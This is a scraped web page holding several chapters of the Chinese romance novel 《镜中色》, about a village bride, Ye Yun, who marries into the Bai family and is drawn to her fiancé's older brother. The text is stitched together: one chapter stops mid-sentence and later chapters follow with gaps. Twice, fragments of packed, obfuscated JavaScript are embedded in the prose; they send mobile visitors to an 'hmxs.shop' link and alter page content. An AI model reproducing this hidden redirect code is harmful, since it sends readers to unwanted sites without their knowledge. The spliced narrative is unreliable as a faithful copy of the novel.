《镜中色》 1. Chapter 1 《镜中色》全本免费阅读 [] 叶芸第一次看见白闻斌是在照片上,杨婶特意坐上疯二狗的拖拉机到县城邮局给她取来的信件。 照片里的男人穿着白色衬衫,头发梳到一边,五官端正,长相文质彬彬,杨婶指着照片告诉叶芸,这就是托她来说亲的白家小儿子。除了照片还有封信是给叶芸父母的,叶芸父亲前几年操劳过度患上重疾,需要靠药养着卧床不起,叶母字识不全,便让杨婶代劳。 杨婶看过信后喜上眉梢,告诉叶母,这白闻斌家住省城,住房改革后,他家是第一批分到楼房的。白闻斌的父亲早年过世,家中除了母亲,还有个亲哥。除此之外,信中还说了他的工作情况,是一名远洋船员。 这个职业对于叶芸来说很陌生,她只能联想到从前在画报上看见的水手形象,可青溪村在山坳里,她连海都没见过。 母亲没有过多询问叶芸的意见便敲定了同白家见面的日子。 叶家四个儿女,当初为了要个儿子连生了三个女儿,计划生育的大风暴吹来了青溪村仍然没有阻扰叶父叶母要儿子的决心,家里超生被罚得一贫如洗。饶是这样的家庭状况,叶芸到了婚嫁年龄,登门说亲的人仍然络绎不绝,全因在这土坳子里,叶芸的容貌是这十里八乡公认的美人。 对于那些上门说媒的乡亲,叶母始终没有松口,倒不是多舍不得这个长女,只是家中还有两个妹妹和一个幺弟,叶父的身体状况一日不如一日,她指望叶芸能嫁个好人家帮衬家里。 消息很快在村子里传开了,都说叶家的大女儿要嫁去城里,男方家住楼房,还是跑船的,能赚不少钱。村里大多数人连楼房都没见过,别说住进去得多风光。跟叶芸同龄的姑娘眼红她,可那白家捎信说要村子里最俏的姑娘,旁人家的女儿不如叶芸长相好,也就没她这个享福命了。 白家果然没有悖了传言,登门那天大包小包提了一堆东西,在物质条件匮乏的青溪村,属实给足了排场。 媒人杨婶亲自到村头接人,白闻斌携母前来。路上,杨婶把叶芸夸上了天,说整个青溪村就属叶家这个大女儿长得最水灵,那眉眼,那身段就是放在大城市也是打着灯笼找不到的,这以后娶回家生个大胖小子保准遗传了的好容貌。 这番话对白闻斌的母亲佟明芳来说,很是受用。白闻斌本人却不以为意,认为杨婶用词太过夸张,无非想从他们身上多捞些好处。 然而这个想法并没有维持太久,拐过屋墙,当看见矮房前站在叶母身边的姑娘时,他收回了刚才的腹诽。 叶芸一早起来梳洗打扮,乌黑顺亮的长发编成两个大辫子垂在胸前,棉质上衣配上一条古板的黑裤子。和城里穿着的确良、高腰裤的时髦青年比,她打扮得有些土气,尽管如此,姣好的面容还是让她赢得了佟明芳的满意。 两个母亲在杨婶的张罗下寒暄着进屋,白闻斌主动走到叶芸身前对她说:“你好。” 叶芸脸颊发烫,低着头回了句:“你好。” 这是他们第一次对话,也是叶芸第一次见到白闻斌本人。他不像她想象中那样风吹日晒,皮肤黝黑。相反,他本人要比照片中还要白些,穿着清爽的浅格纹衬衫和深蓝色布裤,清俊孤拔,看着挺有文化的样子。 佟明芳和叶母相谈甚欢,交谈间得知,白闻斌的哥哥白闻赋腿脚不好,所以此次只有佟明芳随他前来。 走时佟明芳塞给杨婶一个红包,这事就算成了。 再见到白闻斌是一周后,他穿着正肩西装到叶家下聘,家门口围了不少人来讨彩头,佟明芳拎着喜糖大方地散给村民。 叶芸不知道白家给了多少彩礼,厚厚一沓子,应该是不少的。有闲言碎语说村里这么多大小伙给叶家选,叶母偏偏为了钱把如花似玉的女儿远嫁。这些流言蜚语多半是吃不到葡萄嫌葡萄酸,青溪村女儿家的归宿都是由父母定夺的,叶芸有病重的父亲和年幼的弟妹,白家对她来说已经是最好的选择了。 中午办了几桌流水席,算是走了过场,下午叶芸就要跟着白家母子进城。 临别时,她哭得梨花带雨,两个妹妹舍不得她,过来抱着她哭成一团。村里嫁出去的女儿泼出去的水,过了今天,叶芸就是别人家的媳妇了。弟弟还小,不知道长姐这一走就是两地之隔,他懵懂地站在墙根含着手指。 白闻斌等在门外,叶母瞅了他一眼,过来拉开姐妹仨,对叶芸说:“去吧,别让人家等急了。” 叶芸看了眼屋里的父亲,又含泪看向幺弟,心一横转过身离了家。 虽说定了亲事,但她总共才见过白家母子两面,话都没说上几句,难免生疏拘谨,加上刚离家,心有不舍,始终沉默不语。 白闻斌接过叶芸的包背在肩上走出村落。 叶芸从小到大没有离开过青溪村,一路到县城转乘长途汽车,所有经历对她来说都是陌生且茫然的,她只有紧紧跟着白闻斌,深怕被人流挤散。 白闻斌回头瞧了眼她紧张的神情,将包换到另一个肩上,伸手牵住她。男人削瘦的骨节和异样的触感让叶芸脸颊的红晕烧到了耳根,心跳声在人群中打鼓。 上了长途汽车,佟明芳怕晕车,坐在了前面,白闻斌便带着叶芸坐在后面。 刚坐定叶芸就慌乱地将手从白闻斌掌心抽了出来,靠在窗户边上。白闻斌起身将包放好后重新坐了下来,侧过头瞅着她柔润紧绷的小脸,笑了起来:“叶芸,你都跟我走了,以后就是我媳妇了。” 叶芸攥着手指,紧盯着窗外“嗯”了声。虽说如此,白闻斌也没再为难她,车子开动后,他就歪着头睡着了。 叶芸一路上都在看着窗外,对于她来说,二十岁的年纪,初次离开家乡,除了忐忑,还有的就是新奇。 车子辗转抵达市区已是半夜,筒子楼黑灯瞎火,叶芸踏上楼梯七拐八转,很快就晕头转向,最后跟着白家母子停在一个狭窄的铁门前。 白闻斌拿出钥匙打开家门,放下东西后,便将叶芸带到走廊外面的水房,告诉她怎么取水洗漱,让她对付一下,要是想洗澡明天可以去楼下的公共浴室。交代完后,见叶芸有些扭捏,白闻斌便回避了。 叶芸没好意思问白闻斌脸盆在哪,只能用毛巾沾湿冷水洗脸。 走廊没灯,家家户户的门都差不多,刚才一股脑跟着白闻斌进家,也没留心位置,从水房出来后叶芸 2. Chapter 2 《镜中色》全本免费阅读 [] 村子里的人说现在城里人住的那种板楼,南北通透,家家户户都有独立厕所,还可以在自家冲澡。 白家住的房子并不是板楼,而是一条长走廊串着二三十户的筒子楼。筒子楼没有独立厨房,大家都在楼道支上锅灶。 叶芸回来时,佟明芳正在门口夹着蜂窝煤往炉子里放,地铺被收了起来,叶芸这才看清家里的格局。客厅不算大,放了一张方木桌。 叶芸放下东西去帮忙,闻斌换了身衣服去了水房。这时候,叶芸才注意到那间房的隔壁还有一扇门,紧挨着她昨晚睡觉的房间。不过房门紧闭,看不清里面的样子。 佟明芳顺着她的视线,说道:“当初分房,闻斌大哥不在家,闻斌又是未婚,只能分到两居室。后来闻斌大哥回来,大的房间就隔成了两间。以后等你和闻斌结了婚,再申请分户。” 白粥端上桌,配上几个小菜,煮了鸡蛋。 大门有响动,叶芸忙转身去替闻斌开门。门打开,门外男人宽阔的肩膀遮住了光线,叶芸抬起头对上那双沉稳锐利的眸子,再看清他眉骨上淡淡的刀疤时,心跳漏了半拍。 这人是刚才在水房碰见的男人,不知道他怎么找上门来。叶芸还未做出反应,门外响起脚步声,闻斌趿着拖鞋走回来。 “哥,你不进去杵门口干吗?” 白闻赋的唇抿出淡若无痕的弧度:“你媳妇堵着门。” 闻斌探过身子对叶芸说:“我大哥,白闻赋,昨天回来太晚没介绍你认识。” 短短几秒,叶芸的面色从惊惧到防备再弥漫上一丝讶异。 这白家兄弟俩除了个子都不矮之外,怎么看都不太像。闻斌清瘦,眉眼常带笑,下巴圆润流畅,尽管已经25岁了,身上仍有少年气。 而这白闻赋的身形要健硕许多,剑眉星目,轮廓分明,举手投足给人一种落拓不羁之感。 叶芸赶忙让开身子,垂着视线叫了声:“大哥。” 清甜的嗓音像早春的微风吹进白家,白闻赋迈进家门低眸扫了眼耳尖发红的女人,“嗯”了声。 闻斌也进了屋,喊叶芸吃早饭。他一坐下来就剥了个鸡蛋扔嘴里,碗里总共三个鸡蛋,闻斌吃了一个,还剩两个。 白闻赋扫了眼,开口道:“家里没鸡蛋了?” 佟明芳拿了个鸡蛋剥壳:“攒了俩月提亲的时候都带去叶芸家了,就剩这几个,挨到下个月就好了。” 听到佟明芳的话,叶芸低下头,默不作声地喝着白米粥。 佟明芳将剥好的鸡蛋递给白闻赋,他没接,靠在椅背上单手提着碗:“没胃口。” 白闻赋将粥灌下肚,放下碗时,碗身撞到鸡蛋,圆滚滚的鸡蛋顺着桌子滚向叶芸,她生怕鸡蛋掉地上赶忙抬手按住,再抬起头时,白闻赋已经下桌了。 闻斌对叶芸说:“他不吃,你吃。给我,我帮你剥。” 闻斌接过鸡蛋,佟明芳笑话他:“不成家你都学不会疼人。” 闻斌扯着笑不回嘴,将剥好的鸡蛋递给叶芸。 叶芸在家中吃得并不好,秋储的白菜、萝卜还有自家腌制的咸菜用来填饱肚子。鸡蛋要拿去换日用品,偶尔叶母会留几个给幺弟补营养,叶芸作为家中老大,是轮不到她的。 她接过鸡蛋的时候,瞥了眼走到门口的白闻赋。之前听说白家大哥腿落了残疾,叶芸特意盯着白闻赋的双腿瞧去。 白闻赋个子很高,比弟弟闻斌还要稍高一些,牛仔裤包裹着长腿,站着或者慢走的时候全然看不出腿脚有什么问题。 然而当他弯腰拿起板凳朝门口走时,右腿稍能看出步幅不均。 白闻赋在大门前坐下后,侧过视线迎上叶芸的审视,嘴角微斜,眼里的冷意逼退了她的打量。 用过早饭后,佟明芳和闻斌商量领证的日子。既然儿媳妇都领进家门了,日子当然越快越好。佟明芳这人比较迷信,家里办大事定要选个良辰吉日,她翻了半天日历,认为下周三是个好日子。叶芸将户口簿拿出来后,众人才发现她离二十周岁还有2个月。自从新的婚姻法修改后,女性不再是年满十八就能结婚,要等到二十周岁才视为法定婚龄。严格意义上来说,叶芸现在还不能跟闻斌领证。 这让佟明芳和闻斌犯了难,闻斌下月初就要上船了,佟明芳本想着赶在闻斌出海前让两人把证领了。这么一来,就得等到闻斌出海回来才能把事情办了。 这次闻斌预计出去得四五个月,回来叶芸的岁数也到了,只有到时候重新选个日子领证。 叶芸安静地听着,她来之前没想过年龄的问题,现在只能听从白家母子的安排。 白闻赋坐在门口点燃一根烟,没有参与讨论,目光瞧着走廊外,事不关己的模样。 商量一番过后,佟明芳抬头看向白闻赋:“老大,你觉得这样安排成不?” 白闻赋弹了弹烟灰,语气平淡:“你们决定就行。” 他掐了烟没一会就出门了,一天都没回来。 下午的时候佟明芳带叶芸出门去供销社,叶芸头一次看见那么多稀奇玩意儿。塑料发卡,手绢蝴蝶绳,新式洗发膏,各种糕点琳琅满目,看得叶芸目不暇接。很多城市女孩用的东西她从前在农村闻所未闻。 没来得及多瞧,佟明芳径直将她带去布匹处,那一卷卷花色各异的布料排排放,和老家黑灰的棉麻布料相比,大城市的布料多到眼花缭乱。 叶芸在自己家中基本穿不上一套新衣裳,每月几寸布,家里那么多小孩。叶母要照顾父亲打理农田,都是叶芸将布料拆了再缝、拼拼凑凑,才想方设法让全家有衣可穿。至于新旧、款式可就没那么多讲究了。 佟明芳选了块红色的碎花的确良布料,布票比粮票还紧张,佟明芳毫不犹豫地将所有布票拿了出来。 叶芸受宠若惊,百般推辞,佟明芳接过布料笑声爽朗:“你跟闻斌好好过日子,我们不会亏待你。” 出了供销社,佟明芳将叶芸带去张裁缝那。张裁缝见到叶芸的模样眼前一亮,让她脱了外衣替她量尺寸。 帘子一拉,张裁缝的声音从后面传来:“明芳,你这儿媳妇真是要啥有啥,等我做好衣裳给她换一套,你看吧,保准让人挪不开眼。” 佟明芳坐在外面眉开眼笑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726065|189449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻赋的眼底蕴着深不见底的细碎眸光,他默了一瞬,对她开了口:“帮我做套棉衣,女人穿的,会吗?” 叶芸愣了下,才道:“我......可以试试。” “好,你把需要的东西列个单子给我。” “可是我不会做太新的款式,从前我只帮弟妹做过。” “没事,你看着做。走吧,先回去。” 白闻赋往楼里走,叶芸匆忙问道:“那身形呢,我怎么给她量尺?” 白闻赋脚步略顿,回过头来,沉吟片刻:“不用那么麻烦,穿在外面保暖重要,身形不胖,个头......” 他的目光上下打量了叶芸一番:“跟你差不多吧。” 其实叶芸还想问一些细节,比如对方平日里的穿衣风格,喜欢的颜色布料,年龄多大之类的,只是这样一来,好像在打探白闻赋的隐私,他似乎不愿多说,叶芸也不好再问。 回去的时候,叶芸很害怕被佟明芳发现,好在佟明芳的房门紧闭,她神不知鬼不觉地闪身回了房。 躺在床上后,她反倒没立刻睡着,今晚发生的所有事情都让她觉得不可思议。与此同时,她头一次静下心来考虑接下来的路该怎么办,这样越想越精神,天快亮时才终于睡着。 ...... 一大早,吕家饭桌上就好不热闹。吕萍的妈妈拉着她爸和她奶奶,绘声绘色地讲述昨天半夜她去厕所时瞧见的画面。 “最起码得有凌晨了,白家老大跟他家那个小寡妇站在楼下说了好半晌话,那一看就是一起出去一起回来的。现在是什么意思,都不避人了?” 吕爸骂了几句白家人的不是,吕奶奶问吕萍妈是不是看错了,佟明芳还在家中,这两人总不能这么胡来。 吕萍妈坚称自己不可能看错,这筒子楼也没几个有白闻赋个头高的。 吕萍拍了筷子在桌上,板起脸来:“行了,别说了,两人不就讲几句话嘛,被你说的有鼻子有眼的。” 吕奶奶嘱咐吕妈:“这事你可不兴往外说,万一没有的事,人家都会说咱们吕家落井下石。” 吕爸也赞同老妈的说法,白家前不久刚传出噩耗,就算要嚼他们家舌根,也不能是他们吕家带头。 吕萍妈瞧三人一个鼻孔出气,翻了个白眼,端起碗:“知道了,知道了,就你们吕家人心肠好,心肠好当初还闹出那事。” ...... 叶芸虽然昨夜睡的晚,但心里装着事,起来倒挺早。她一早便将做棉衣需要的布料、针线、纽扣列好了单子,赶在白闻赋出门前给了他。 白闻赋什么也没说,接过单子揣进了兜里。 下午的时候,叶芸隔一会儿便悄悄打开房门,直到好不容易等到佟明芳出门,她才从走廊的另一头快速下楼,离开筒子楼。 路上她想过很多种可能,也许马建良轮休,也许她会空跑一趟。 好在今天她是幸运的,刚进供销社就瞧见站在柜台里的马建良,对方也第一时间看见了她。 叶芸谨慎地瞧了眼周围,确定没有眼熟的面孔后,才径直走到马建良面前。 本想三言两语跟他说明自己的近况,未曾想,她刚走到跟前,马建良便道:“白闻斌的事我听说了,节哀。” 叶芸的眸光晃动,她没想到这事已经到了人尽皆知的地步。 “你今天来是?”马建良压低声音问她。 叶芸如实告知:“我是来找你的。” 马建良了然地点点头:“你想让我帮你联系家里?” 叶芸抿着唇沉默不语,其实不需要她确认,马建良从她走来时,已经猜到了。虽然他并不认识白闻斌,但他们这里不少售货员都跟佟明芳打过交道,或多或少见识过她的强势与斤斤计较。 白家小儿子如今不在了,叶芸想联系家里也是情理之中的事。马建良爽快地答应下来,让她把想告诉家里的话写下来。他姑父在县城里有铺子,隔三差五会跑去,他可以将信寄到那,等他姑父回村的时候顺道捎去叶芸家中。 有了联系家里的法子后,叶芸兴奋不已,当晚就写了封信,在之后的几天交到了马建良手里。 15. Chapter 15(入V通知) 一周以后,白闻赋将单子上的东西陆续找来了。有好几种款式的纽扣、驼绒,甚至给了叶芸一个精巧的针线盒。最让叶芸意外的是,白闻赋找来的布料是素底纹样附有兰花的织锦缎。 叶芸在写单子的时候,列了几种布料备选,因为不确定白闻赋打算做多贵的衣裳送人,她不好替他做决定,只能让他自己定夺。 织锦缎这种料子是前些日子叶芸在浴室听见其他女人议论的,说李燕身上穿了一件,光亮的面料看着就高级。叶芸对布料、款式敏感,也就将那些话听在耳里,大约知晓这种料子现在很受追捧,当然,价格也不会便宜。 未曾想白闻赋在这几款布料里,找来了织锦缎。叶芸摸着平整细腻的料子,猜测那个女人会是什么模样的,无论是什么样的,应该很得大哥珍视才对。 于是两个多月没缝过东西的叶芸,又能够借故拾起针线,这一忙活就忘了时间。 佟明芳见叶芸一整天都窝在房里,天黑了都不知道出来吃饭,实在蹊跷,就跑去敲她房门。 叶芸打开门,佟明芳看见一床的针线,还铺着那么高级的料子,扯起嗓子问她:“你不吃饭捣鼓什么东西,给谁做的?” 叶芸还未出声,白闻赋推了房门出来:“我让她做的。” 佟明芳诧异地转过视线:“这是女人用的料子,你做了干什么?” “送人。” 白闻赋走到桌前盛饭,佟明芳讶然,跟上前询问:“老大,你和哪家姑娘好上了?” 叶芸也走到桌边,心不在焉地拿筷子,眼神却瞥向白闻赋。 只听得白闻赋语气淡然地说:“没和谁好。” 佟明芳当即提高嗓门:“没好你还白白送人家这么贵的料子?” 她脸上一副心疼的模样,深怕儿子被人当作冤大头。 白闻赋端着碗,没个正行地回:“不送人家怎么跟我好?” 他三言两语绕得佟明芳哑口无言,甚至觉得好像是这么个理。老大腿脚不好,没有稳定工作,可不得主动点。 对于白闻赋要送女人衣裳这件事,佟明芳后来想想,心里是高兴的。那年是她背着白闻赋说的亲事,两个儿子中,老大从小就有自己的想法,什么事情都是自己拿主意,唯独说亲这事她替他做了决定,她想让老大早点成家,安定下来。后来闹成那样,还被对方上门退婚,佟明芳始终耿耿于怀。 这两年老大早出晚归,寡言少语,活得像个出家人,佟明芳都不指望他能再找了。如今听说他有看中的姑娘,佟明芳自然乐见其成。小儿子不在了,没了指望,大儿子如果愿意讨个媳妇,也能是桩喜事。 连带着,近来佟明芳对叶芸都宽容了些,她关在房间做衣裳,或偶尔出门说是要买点东西,佟明芳也不疑有他。 白闻赋给叶芸找的这件事,让她的生活不再陷入泥沼,惶惶度日。手头上有了忙活的事,人便充实起来。 有天吕萍休息,在走廊瞧见佟明芳出了门,跑上楼去找叶芸玩。叶芸替她开门,把她领进房间。吕萍见到这块纹样如此好看的织锦缎,爱不释手地问叶芸:“你这是给谁做的?” “不清楚。” 吕萍诧异地说:“怎么会不清楚给谁做的?” 叶芸抿了抿唇,而后凑过身子,悄悄告诉吕萍:“其实是大哥找我帮忙的。” 吕萍眼眸微微转动,看向叶芸:“闻斌他大哥有女人了?” 叶芸耸了耸肩:“听那意思应该是送给心仪的姑娘吧。” 吕萍望着她茫然的神情,拿起柔滑的料子在脸颊上抚了抚:“闻斌他大哥那种人,你说哪个姑娘能让他放在心上?” 叶芸眨了下眼:“他是哪种人?” 吕萍放下布料,轻笑一声:“你不觉得他挺目中无人的吗?” 叶芸拢起秀气的眉,没有回答这个问题。她并不觉的白闻赋目中无人,或许第一次在水房碰见他时,叶芸对他的印象的确有些害怕,可接触久了,她能感觉出来,白闻赋并不像他的外表那么拒人千里。 他会在第一次见她用冷水洗脸冻着后,买了脸盆给她。会在旁人以为闻斌给她买洗头膏时,出手替她解了围。会在她烫伤时,将烫伤膏交到闻斌手里。 当初她和闻斌朝夕相处,闻斌都没有发觉的事情,却被白闻赋看在眼里,他又怎么会是目中无人。 也许是白日里想得太多,晚上叶芸失眠了。她想到了这件衣裳的女主人,大哥这么看重她,要是日后能将她娶回家,定会把她宠上天吧。 有些事情想了个开头,后面就一发不可收拾了。白闻赋对她这个未过门的弟媳尚且能够顾及关照,如果是自己的女人,他应该会整日带着她去好玩的地方,买最好的东西给她,夜里,搂着她睡在隔壁,将所有的温柔与疯狂都给她...... 想到这里,叶芸脸颊发烫,心脏没来由地胡乱跳动,不敢再继续想下去。 与之而来的是,她在这个家该怎么办,恐怕到时候,她的日子会更加水深火热。 接下来,叶芸除了做衣裳,便隔三差五跑去供销社,找马建良打听家里有没有来信。 终于在临近元旦的日子,她收到了回信。拿到信的那一刻,叶芸双手都在发抖,她连声跟马建良道谢,马建良让她赶紧回去看看家里说了什么。 叶芸没等到回家,她跑去一处无人的巷子,颤抖地打开信封。这是她离开家的第九个月,九个月才等来这一封将她和家人联系在一起的书信,她激动得眼眶都湿了。 打开纸张,里面的内容却仅有只言片语。叶母不识字,给她回信势必要找人代笔。不知道是不是没转述清楚,还是代笔人没写清楚,信中并没有什么实质性的内容,只是说收到她的信了,让她好好的之类的。 几行小字,叶芸反反复复读了好几遍,依然找不出任何蛛丝马迹。她寄过去的内容里很明确地询问了家里的看法,希望他们能告诉她现在这个情况,接下来该怎么办。可她期盼了一个月的回复,却寥寥几笔,毫无重点。 所有寄托顷刻被浇灭,一股凉意从叶芸的心脏弥漫开来,日头正盛,刺眼的光线照得她睁不开双眼。叶芸紧紧攥着信纸,人好似被遗弃在深海,四面是一望无际的波涛,身体不停下沉,看不到尽头,也靠不了岸,湿润的眼眶彻底泛红。 她就这样缓了好久,才将信纸重新叠好放进口袋,浑浑噩噩地走出巷子。 街上行人来来往往,叶芸没有往家的方向走,而是漫无目的地游走在一条条陌生的街道,就如她此时的心情,浮浮沉沉,没有归宿。 她的目光毫不聚焦地滑过一张张陌生的面孔,直到定格在街角那个宽阔而结实的背影上。她认出那个人是白闻赋,他在一家店铺前和几人正说着话,在叶芸看见他的时候,他灭了烟侧过头来。叶芸赶忙转过身,胡乱钻进一条狭窄的巷子,巷子里横七竖八地挂着晾衣绳,衣服在头顶飘扬,她的脚步匆匆加快。 她没敢回头,就这样一直走,走到巷子深处时,她才回身看了眼,身后空无一人。她便放慢了脚步,鞋底磨过青石砖,思绪纷扰,愁绪万千。 没多久就走到了巷子尽头,叶芸无意识地向左拐去,面前的人影挡住了她的去路,她抬起眸,白闻赋靠在墙上,幽深的目光一瞬不瞬地望着她。 叶芸呼吸停滞,惊讶地睁圆了眼睛,与他四目相对。 白闻赋的眼神在她脸上来回扫了一圈,直起身子落下视线:“怎么哭了?” 叶芸慌忙撇开头:“没有。” 颤抖的睫毛,眼里柔润的水汽,衬得小脸透白而脆弱。 白闻赋拧起眉,问她:“没哭看见我躲什么?谁对你说了不中听的话,告诉我。” 叶芸咬着下唇,摇了摇头:“没有人,我只是......心情不好,出来走走。” 她深吸一口气,将所有的坏情绪咽进肚里,故作轻松地说:“真的,你心情不好的时候会做什么?” 白闻赋眼神疑虑地打量着她:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16726066|189449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喝酒。” 未料叶芸问他:“去哪可以喝?” 白闻赋低下头,额前短而硬的碎发张扬地立着,他唇边划过无奈的笑意:“跟我走。” 叶芸没想到再一次来舞厅不是来跳舞,而是跟着白闻赋来喝酒的。她见他买了两张座位票,价格几乎是门票的十倍,她刚坐下来就后悔了。 白闻赋跟工作人员要完酒,叶芸便小声而忐忑地说:“我以为是买瓶酒去没人的地方喝。” 白闻赋靠在椅背上,告诉她:“喝酒当然要讲究气氛。” 酒上来后,白闻赋接过酒瓶为叶芸倒上,问她:“喝过吗?” “没有,第一次。” 于是他只为她倒了半杯。 叶芸闻了闻杯中酒,味道冲鼻子。她拿起酒杯问他:“为什么愿意让我喝酒?” 舞厅音乐声太大,隔着桌子白闻赋没听清,他偏了下头:“说什么?坐过来说。” 叶芸将椅子挪到他边上:“我说你为什么会同意带我来喝酒?” 女人喝酒总归会被人说三道四,住他们楼上的方姨没事就喜欢躲起来喝两口,附近人没少说她不会过日子,好吃懒做,不正经,叶芸也听佟明芳这么说过她。在叶芸看来,白闻赋应该也不会赞同女人喝酒,可是他却将她带来了这里。 白闻赋给自己倒满酒,端起来碰了下她的杯子:“人生在世短短几十年,应该多去尝试,不要活在别人眼中。” 叶芸学着他的样子端起酒杯,白闻赋喝酒豪爽,眉头不皱一杯酒已然下肚。 他放下酒杯,对她说:“不过要看跟谁喝,如果是旁人带你喝酒,我不建议你放松警惕。” 叶芸尝了一口,辛辣的味道溢满舌尖,她的五官都皱在了一起,白闻赋问她:“怎么样?” “不怎么样,太难喝了。” 白闻赋半笑道:“那还是不要尝试了。” 叶芸心头不快,那股执拗劲儿上来,非要跟自己对着干,她昂起脖子屏住呼吸,将半杯酒都灌了下去。 白闻赋“啧”了声:“胡来,你这个喝法,待会得醉。” 音乐的节奏敲在心间,旖旎的灯光忽明忽暗,半杯酒下肚,叶芸的身体热了起来,神情也变得松弛了些。 她侧过头问白闻赋:“我要是醉了,你会把我扛回去吗?” 白闻赋只是挂着浅淡的笑意看着她,不说话。 叶芸接着否定了自己的说法:“你可不能把我扛回去,要是给别人看见,我就说不清了。” 白闻赋眼里盛着一抹醉人的光:“答应你,把你丢这。” 叶芸皱起了眉:“那怎么行?” 鉴于她没轻没重的喝法,白闻赋这次只给她倒了三分之一的酒。 叶芸知道不能喝醉,便小口抿着。饶是这样,也很快上了脸,红润的面颊透出几分微醺的娇憨神态。 白闻赋在掌心把玩着酒杯,漫不经心地问她:“现在能跟我讲讲为什么心情不好吗?” 叶芸的目光落在摇晃的灯影上,眼神迷离而飘渺。 “大哥,你会结婚吗?” 白闻赋有些意外:“怎么这么问?” “会吗?”她又重复了一遍。 白闻赋呷了口杯中酒,默了数秒,才回道:“得遇上适合的人。” “如果遇上了呢,你会结婚吗?”叶芸抬起双眸牢牢盯住他,她迫切需要答案。家里那边没有给她明确的出路,那么这个答案便关乎到她日后在白家的处境。 “也许会吧。”白闻赋放下酒杯,神色自若。 叶芸的心脏一下子沉了下去,想到以后有可能会面对的生活,她便一副要哭不哭的样子。她不知道自己当初跟闻斌在一起时,白闻赋是如何度过一个又一个夜晚。可要是身份对调,她可以确定的是,她没法若无其事地待在他们隔壁。 白闻赋不动声色地审视着她脸上闪过的复杂表情,眼里浮现一丝兴味:“我结婚,你为什么会心情不好?”